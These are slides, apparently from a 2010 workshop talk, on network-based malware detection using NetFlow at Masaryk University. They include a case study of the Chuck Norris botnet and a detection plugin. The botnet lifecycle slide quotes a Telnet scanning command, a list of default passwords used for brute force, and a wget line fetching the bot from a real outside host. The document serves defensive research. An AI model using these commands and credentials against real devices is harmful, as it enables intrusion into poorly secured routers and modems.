Malware Detection From The Network Perspective Using NetFlow Data

P. Čeleda, J. Vykopal, T. Plesník, M. Trunečka, V. Krmíček
{celeda|vykopal|plesnik|trunecka|vojtec}@ics.muni.cz

3rd NMRG Workshop on NetFlow/IPFIX Usage in Network Management
July 30, 2010, Maastricht, The Netherlands
Part I

Introduction
Present Computer Security

Present Essentials and Best Practices
- host-based: firewall, antivirus, automated patching, NAC\(^1\)
- network-based: firewall, antispam filter, IDS\(^2\), UTM\(^3\)

Network Security Monitoring
- Necessary complement to host-based approach.
- NBA\(^4\) is a key approach in large and high-speed networks.
- Traffic acquisition and storage is almost done, security analysis is a challenging task.

\(^1\)Network Access Control, \(^2\)Intrusion Detection System
\(^3\)Unified Threat Management, \(^4\)Network Behavior Analysis
NetFlow Applications in Time

Originally

Accounting
NetFlow Applications in Time

Originally

Accounting

Then

Incident handling
Network forensics
NetFlow Applications in Time

Originally

Accounting

Then

Incident handling
Network forensics

Now

Intrusion detection
- 9 faculties: 200 departments and institutes
- 48 000 students and employees
- 15 000 networked hosts
- 2x 10 gigabit uplinks to CESNET

<table>
<thead>
<tr>
<th>Interval</th>
<th>Flows</th>
<th>Packets</th>
<th>Bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Second</td>
<td>5 k</td>
<td>150 k</td>
<td>132 M</td>
</tr>
<tr>
<td>Minute</td>
<td>300 k</td>
<td>9 M</td>
<td>8 G</td>
</tr>
<tr>
<td>Hour</td>
<td>15 M</td>
<td>522 M</td>
<td>448 G</td>
</tr>
<tr>
<td>Day</td>
<td>285 M</td>
<td>9.4 G</td>
<td>8 T</td>
</tr>
<tr>
<td>Week</td>
<td>1.6 G</td>
<td>57 G</td>
<td>50 T</td>
</tr>
</tbody>
</table>

Average traffic volume at the edge links in peak hours.
NetFlow Monitoring at Masaryk University

FlowMon probe

FlowMon probe

FlowMon probe

NetFlow data generation
NetFlow Monitoring at Masaryk University

FlowMon probe

FlowMon probe

FlowMon probe

NetFlow data generation

NetFlow consumer

NetFlow collector

NetFlow v5/v9
NetFlow Monitoring at Masaryk University

FlowMon probe → NetFlow v5/v9 → NfSen

NetFlow data generation

NetFlow collector

SPAM detection

NetFlow data collection

worm/virus detection

NetFlow data analyses

intrusion detection
NetFlow Monitoring at Masaryk University

NetFlow data generation

FlowMon probe
FlowMon probe
FlowMon probe

NetFlow collector

NfSen

NetFlow v5/v9

NetFlow data collection

NetFlow data analyses

SPAM detection

worm/virus detection

intrusion detection

incident reporting

http
WWW

mail
mailbox

syslog
syslog server
Part II

Malware Detection
Malware

"software designed to infiltrate a computer system without the owner’s informed consent"\(^5\)

- computer viruses, worms, trojan horses, spyware, dishonest adware, crimeware, rootkits, ...

Malware Threats

- infected ("zombie") computers used for criminal activities
- privacy data stealing, (D)DoS attacks, sending spam, hosting contraband, phising/pharming
- victims are end users, servers and the network infrastructure too

\(^5\)Wikipedia
Host-Based Approach

- AVS, anti-spyware and anti-malware detection tools
- based on **pattern matching** and **heuristics**
- only **local information** from the computer
- **zero day attacks** and **morphing code** often undetected

Network-Based Approach

- overview of the **whole network behavior**
- high-level information about the state of the network
- use of **NBA methods** for malware detection
Network Behavior Analysis (NBA)

NBA Principles

- identifies malware from network traffic statistics
- watch what’s happening inside the network
- single purpose detection patterns (scanning, botnets, ...)
- complex models of the network behavior
- statistical modeling, PCA

NBA Advantages

- good for spotting new malware and zero day exploits
- suitable for high-speed networks
- should be used as an enhancement to the protection provided by the standard tools (firewall, IDS, AVS, ...)

---

6Principal Component Analysis
Features: Flow counts from/to important IP/port combinations.

Malware identification: Comparison with windowed average of past values.
Part III

Chuck Norris Botnet in Nutshell
Chuck Norris Botnet

- **Linux malware** – IRC bots with central C&C servers.
- Attacks **poorly-configured** Linux **MIPSEL** devices.
- Vulnerable devices – **ADSL modems** and **routers**.

- Uses **TELNET brute force** attack as infection vector.
- Users are **not aware** about the malicious activities.
- **Missing** anti-malware **solution** to detect it.

Discovered at Masaryk University on 2 December 2009. The malware got the Chuck Norris moniker from a comment in its source code [R]anger Killato :  in nome di Chuck Norris !
Botnet Lifecycle

- **Scanning for vulnerable devices in predefined networks**
  - IP prefixes of ADSL networks of worldwide operators
  - network scanning – `# pnscan -n30 88.102.106.0/24 23`

- **Infection of a vulnerable device**
  - TELNET dictionary attack – 15 default passwords
  - admin, password, root, 1234, dreambox, *blank password*

- **IRC bot initialization**
  - IRC bot download and execution on infected device
  - `wget http://87.98.163.86/pwn/syslgd;...`

- **Botnet C&C operations**
  - further bots spreading and C&C commands execution
  - DNS spoofing and denial-of-service attacks
Botnet Attacks

DoS and DDoS Attacks

- TCP ACK flood
- TCP SYN flood
- UDP flood
Botnet Attacks

**DoS and DDoS Attacks**
- TCP ACK flood
- TCP SYN flood
- UDP flood

**DNS Spoofing Attack**
- Web page redirect:
  - www.facebook.com
  - www.google.com
- Malicious code execution.
Botnet Attacks

**DoS and DDoS Attacks**
- TCP ACK flood
- TCP SYN flood
- UDP flood

**DNS Spoofing Attack**
- Web page redirect:
  - www.facebook.com
  - www.google.com
- Malicious code execution.
Botnet Attacks

DoS and DDoS Attacks
- TCP ACK flood
- TCP SYN flood
- UDP flood

DNS Spoofing Attack
- Web page redirect:
  - www.facebook.com
  - www.google.com
- Malicious code execution.
Botnet Attacks

**DoS and DDoS Attacks**
- TCP ACK flood
- TCP SYN flood
- UDP flood

**DNS Spoofing Attack**
- Web page redirect:
  - www.facebook.com
  - www.google.com
- Malicious code execution.
Botnet Size and Evaluation

- **Size estimation based on NetFlow data from Masaryk University.**

**Most Infected ISPs**
- Telefonica del Peru
- Global Village Telecom (Brazil)
- Turk Telecom
- Pakistan Telecommunication Company
- China Unicom Hebei Province Network

**Unique attackers targeting the MU network**

<table>
<thead>
<tr>
<th>Month</th>
<th>Min</th>
<th>Max</th>
<th>Avr</th>
<th>Mdn</th>
</tr>
</thead>
<tbody>
<tr>
<td>October</td>
<td>0</td>
<td>854</td>
<td>502</td>
<td>621</td>
</tr>
<tr>
<td>November</td>
<td>41</td>
<td>628</td>
<td>241</td>
<td>136</td>
</tr>
<tr>
<td>December</td>
<td>69</td>
<td>1321</td>
<td>366</td>
<td>325</td>
</tr>
<tr>
<td>January</td>
<td>9</td>
<td>1467</td>
<td>312</td>
<td>137</td>
</tr>
<tr>
<td>February</td>
<td>180</td>
<td>2004</td>
<td>670</td>
<td>560</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>0</td>
<td>2004</td>
<td>414</td>
<td>354</td>
</tr>
</tbody>
</table>

Botnet **stopped** activity on **23 February 2010**.
Botnet Size and Evaluation

- **Size estimation based on NetFlow data** from Masaryk University.
- **33000 unique attackers** (infected devices) from **10/2009 – 02/2010**.

Most Infected ISPs

- Telefonica del Peru
- Global Village Telecom (Brazil)
- Turk Telecom
- Pakistan Telecommunication Company
- China Unicom Hebei Province Network

Unique attackers targeting the MU network

<table>
<thead>
<tr>
<th>Month</th>
<th>Min</th>
<th>Max</th>
<th>Avr</th>
<th>Mdn</th>
</tr>
</thead>
<tbody>
<tr>
<td>October</td>
<td>0</td>
<td>854</td>
<td>502</td>
<td>621</td>
</tr>
<tr>
<td>November</td>
<td>41</td>
<td>628</td>
<td>241</td>
<td>136</td>
</tr>
<tr>
<td>December</td>
<td>69</td>
<td>1321</td>
<td>366</td>
<td>325</td>
</tr>
<tr>
<td>January</td>
<td>9</td>
<td>1467</td>
<td>312</td>
<td>137</td>
</tr>
<tr>
<td>February</td>
<td>180</td>
<td>2004</td>
<td>670</td>
<td>560</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>0</td>
<td>2004</td>
<td>414</td>
<td>354</td>
</tr>
</tbody>
</table>

Botnet **stopped** activity on **23 February 2010**.
**Botnet Size and Evaluation**

- **Size estimation based on NetFlow data from Masaryk University.**

**Most Infected ISPs**

- Telefonica del Peru
- Global Village Telecom (Brazil)
- Turk Telecom
- Pakistan Telecommunication Company
- China Unicom Hebei Province Network

<table>
<thead>
<tr>
<th>Unique attackers targeting the MU network</th>
<th>Month</th>
<th>Min</th>
<th>Max</th>
<th>Avr</th>
<th>Mdn</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>October</td>
<td>0</td>
<td>854</td>
<td>502</td>
<td>621</td>
</tr>
<tr>
<td></td>
<td>November</td>
<td>41</td>
<td>628</td>
<td>241</td>
<td>136</td>
</tr>
<tr>
<td></td>
<td>December</td>
<td>69</td>
<td>1321</td>
<td>366</td>
<td>325</td>
</tr>
<tr>
<td></td>
<td>January</td>
<td>9</td>
<td>1467</td>
<td>312</td>
<td>137</td>
</tr>
<tr>
<td></td>
<td>February</td>
<td>180</td>
<td>2004</td>
<td>670</td>
<td>560</td>
</tr>
</tbody>
</table>

**Botnet stopped activity on 23 February 2010.**
Part IV

Botnet Detection Plugin
Introduction

- Detects Chuck Norris-like botnet behavior.
- Based on NetFlow and other network data sources.

Plugin Architecture

- Compliant with NfSen plugins architecture recommendations.
- PHP frontend with a Perl backend and a PostreSQL DB.
- Web, e-mail and syslog detection output and reporting.
Plugin Architecture

**BACKEND**
- cndetdb.pm
- PostgreSQL
- NetFlow data
- DNS
- WHOIS DB
- nfsend
- comm.
- interface
- cndet.pm

**FRONTEND**
- cndet.php

P. Čeleda et al. Malware Detection From The Network Perspective Using NetFlow Data
Detection Methods

**Telnet Scan Detection**
- Incoming and outgoing **TCP SYN scans** on port 23.

**Connections to Botnet Distribution Sites**
- Bot’s **web download requests** from infected host.

**Connections to Botnet C&C Centers**
- Bot’s **IRC traffic** with command and control centers.

**DNS Spoofing Attack Detection**
- Communication with **spoofed DNS** servers and OpenDNS.
**Web Interface – Infected Host Detected**

### Local addresses

<table>
<thead>
<tr>
<th>IP address</th>
<th>Name</th>
<th>Last activity</th>
<th>Being scanned</th>
<th>Scanning</th>
<th>Download</th>
<th>C &amp; C</th>
<th>DNS</th>
</tr>
</thead>
<tbody>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>147.251.154</td>
<td>unknown</td>
<td>2010-01-29 21:55</td>
<td>✅ Details...</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
</tbody>
</table>

**Timestamps of detected attempts:**
- 2010-01-29 21:55

### Other addresses

<table>
<thead>
<tr>
<th>IP address</th>
<th>Name</th>
<th>From - To</th>
</tr>
</thead>
<tbody>
<tr>
<td>203.144.250.242</td>
<td>203-144-250-242.static.asianet.co.th</td>
<td>• 2010-01-29 21:55 - 2010-01-29 21:58</td>
</tr>
<tr>
<td>61.140.11.214</td>
<td>unknown</td>
<td>• 2010-01-29 21:55 - 2010-01-29 21:58</td>
</tr>
<tr>
<td>120.60.141.206</td>
<td>triband-mum-120.60.141.206.mtnl.net.in</td>
<td>• 2010-01-29 21:55 - 2010-01-29 21:55</td>
</tr>
<tr>
<td>203.144.250.242</td>
<td>203-144-250-242.static.asianet.co.th</td>
<td>• 2010-01-29 21:55 - 2010-01-29 21:58</td>
</tr>
</tbody>
</table>
Plugin Development Status

Current Version

- Development snapshot released – alpha version.
- Flow-based methods implemented.
- Import past NetFlow data to process with plugin.
- Web frontend output including DNS and whois information.

Future Work

- Active detection of infected hosts (nmap).
- Further detection methods – DDoS activities, Telnet dictionary attack, ...
Part V

Conclusion
Conclusion

Motivation

- Everybody leaves traces in network traffic (you can’t hide).
- Observe and automatically inspect 24x7 your network data.
- Detect attacks before your hosts are infected.

Experience

- Better network knowledge after you deploy NSM.
- NSM is essential in liberal network environments.

Future

- We are open to research collaboration in NSM area.
- Our NSM tools and plugins are available on request.
Thank You For Your Attention!

Malware Detection From The Network Perspective Using NetFlow Data

Pavel Čeleda et al.
celeda@ics.muni.cz

Project CYBER
http://www.muni.cz/ics/cyber

This material is based upon work supported by the Czech Ministry of Defence under Contract No. OVMASUN200801.